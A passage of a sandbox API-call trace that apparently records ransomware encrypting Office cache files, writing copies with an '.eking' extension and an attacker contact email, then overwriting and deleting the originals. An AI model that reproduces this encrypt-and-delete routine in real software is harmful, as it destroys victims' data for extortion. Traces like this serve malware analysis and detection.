users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0226.430] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1857) returned 1 [0226.430] CloseHandle (hObject=0x1b8) returned 1 [0226.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0226.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0226.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0226.430] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0226.430] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0226.430] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0226.430] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0226.431] ReadFile (in: hFile=0x1b8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x741, lpOverlapped=0x0) returned 1 [0226.433] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x750, lpOverlapped=0x0) returned 1 [0226.434] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x112, lpOverlapped=0x0) returned 1 [0226.435] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0226.435] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0226.435] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x741, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x741, lpOverlapped=0x0) returned 1 [0226.435] FlushFileBuffers (hFile=0x1b8) returned 1 [0226.439] FlushFileBuffers (hFile=0x1a8) returned 1 [0226.441] CloseHandle (hObject=0x1b8) returned 1 [0226.441] CloseHandle (hObject=0x1a8) returned 1 [0226.441] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0226.443] SetEvent (hEvent=0xe0) returned 1 [0226.443] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0226.443] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=655872) returned 1 [0226.443] CloseHandle (hObject=0x1a8) returned 1 [0226.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0226.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0226.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0226.444] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0226.444] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0226.444] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0226.444] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b8 [0226.445] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xa0200, lpOverlapped=0x0) returned 1 [0226.462] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xa0210, lpOverlapped=0x0) returned 1 [0226.478] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0226.478] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0226.478] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0226.478] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa0200, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xa0200, lpOverlapped=0x0) returned 1 [0226.480] FlushFileBuffers (hFile=0x1a8) returned 1 [0227.032] FlushFileBuffers (hFile=0x1b8) returned 1 [0227.674] CloseHandle (hObject=0x1a8) returned 1 [0227.674] CloseHandle (hObject=0x1b8) returned 1 [0227.675] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0227.682] SetEvent (hEvent=0xe0) returned 1 [0227.683] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0227.683] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=14127746) returned 1 [0227.683] CloseHandle (hObject=0x1b8) returned 1 [0227.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0227.684] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0227.685] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0227.685] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0227.685] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0227.685] ReadFile (in: hFile=0x1b8, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0227.692] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0227.692] ReadFile (in: hFile=0x1b8, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0227.701] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0227.702] ReadFile (in: hFile=0x1b8, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0227.735] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0227.735] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0227.820] SetEndOfFile (hFile=0x1b8) returned 1 [0227.822] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0227.822] WriteFile (in: hFile=0x1b8, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0227.824] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0227.824] WriteFile (in: hFile=0x1b8, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0227.824] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0227.825] WriteFile (in: hFile=0x1b8, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0227.825] FlushFileBuffers (hFile=0x1b8) returned 1 [0228.679] CloseHandle (hObject=0x1b8) returned 1 [0228.680] SetEvent (hEvent=0xe0) returned 1 [0228.681] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0228.681] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=5557) returned 1 [0228.681] CloseHandle (hObject=0x1b8) returned 1 [0228.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0228.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0228.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0228.682] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0228.682] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0228.682] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0228.682] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x100 [0228.705] ReadFile (in: hFile=0x1b8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x15b5, lpOverlapped=0x0) returned 1 [0228.730] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x15c0, lpOverlapped=0x0) returned 1 [0228.731] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0228.732] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0228.732] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0228.732] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x15b5, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x15b5, lpOverlapped=0x0) returned 1 [0228.732] FlushFileBuffers (hFile=0x1b8) returned 1 [0229.271] FlushFileBuffers (hFile=0x100) returned 1 [0229.639] CloseHandle (hObject=0x1b8) returned 1 [0229.640] CloseHandle (hObject=0x100) returned 1 [0229.640] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0229.641] SetEvent (hEvent=0xe0) returned 1 [0229.653] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0229.653] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=819) returned 1 [0229.653] CloseHandle (hObject=0x100) returned 1 [0229.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0229.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0229.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0229.653] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0229.654] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0229.654] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0229.654] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b8 [0229.654] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x333, lpOverlapped=0x0) returned 1 [0229.657] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x340, lpOverlapped=0x0) returned 1 [0229.659] WriteFile (in: hFile=0x1b8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x102, lpOverlapped=0x0) returned 1 [0229.659] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0229.659] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0229.660] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x333, lpOverlapped=0x0) returned 1 [0229.660] FlushFileBuffers (hFile=0x100) returned 1 [0230.420] FlushFileBuffers (hFile=0x1b8) returned 1 [0230.474] CloseHandle (hObject=0x100) returned 1 [0230.475] CloseHandle (hObject=0x1b8) returned 1 [0230.475] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0230.476] SetEvent (hEvent=0xe0) returned 1 [0230.476] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0230.477] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=191872) returned 1 [0230.477] CloseHandle (hObject=0x1b8) returned 1 [0230.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0230.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0230.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0230.477] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0230.478] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0230.478] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0230.478] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x100 [0230.478] ReadFile (in: hFile=0x1b8, lpBuffer=0x3370020, 